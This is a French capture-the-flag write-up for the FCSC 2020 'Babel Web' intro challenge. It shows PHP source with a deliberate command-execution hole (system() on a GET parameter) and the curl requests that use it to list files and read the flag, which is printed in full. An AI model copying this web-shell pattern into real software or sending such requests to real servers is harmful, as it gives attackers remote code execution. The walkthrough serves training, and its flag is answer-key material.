FCSC 2020 - Intro - Babel Web
Table des matières :
On vous demande d’auditer ce site en cours de construction à la recherche d’un flag.
URL : http://localhost:5001/
Résolution
Sur la page du challenge, nous voyons un commentaire HTML indiquant que la source est disponible sur /?source=1
:
<html>
<head>
<title>Bienvenue à Babel Web!</title>
</head>
<body>
<h1>Bienvenue à Babel Web!</h1>
La page est en cours de développement, merci de revenir plus tard.
<!-- <a href="?source=1">source</a> -->
</body>
</html>
Nous y accédons et nous avons le code source :
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
?>
<html>
<head>
<title>Bienvenue à Babel Web!</title>
</head>
<body>
<h1>Bienvenue à Babel Web!</h1>
La page est en cours de développement, merci de revenir plus tard.
<!-- <a href="?source=1">source</a> -->
</body>
</html>
<?php
}
?>
Dans ce code source, nous voyons quelquechose d’intéressant. En effet, le paramètre code
(méthode GET
) de la page index.php
nous permet d’envoyer des commandes qui seront éxécutées dans un shell coté serveur. Essayons donc de lister les fichiers avec ls -lha
:
curl "http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?code=ls%20-lha"
...
<pre>total 16K
dr-xr-xr-x 1 www-data www-data 4.0K Apr 23 13:19 .
drwxr-xr-x 1 root root 4.0K Apr 23 13:19 ..
-r-xr-xr-x 1 www-data www-data 89 Apr 23 13:19 flag.php
-r-xr-xr-x 1 www-data www-data 439 Apr 23 13:19 index.php
<pre>
...
L’exécution de code est bien fonctionnelle ! Nous n’avons plus qu’a lire le flag avec un simple cat
:
curl "http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?code=cat%20flag.php"
...
<pre><?php
$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>
...
Le flag est FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}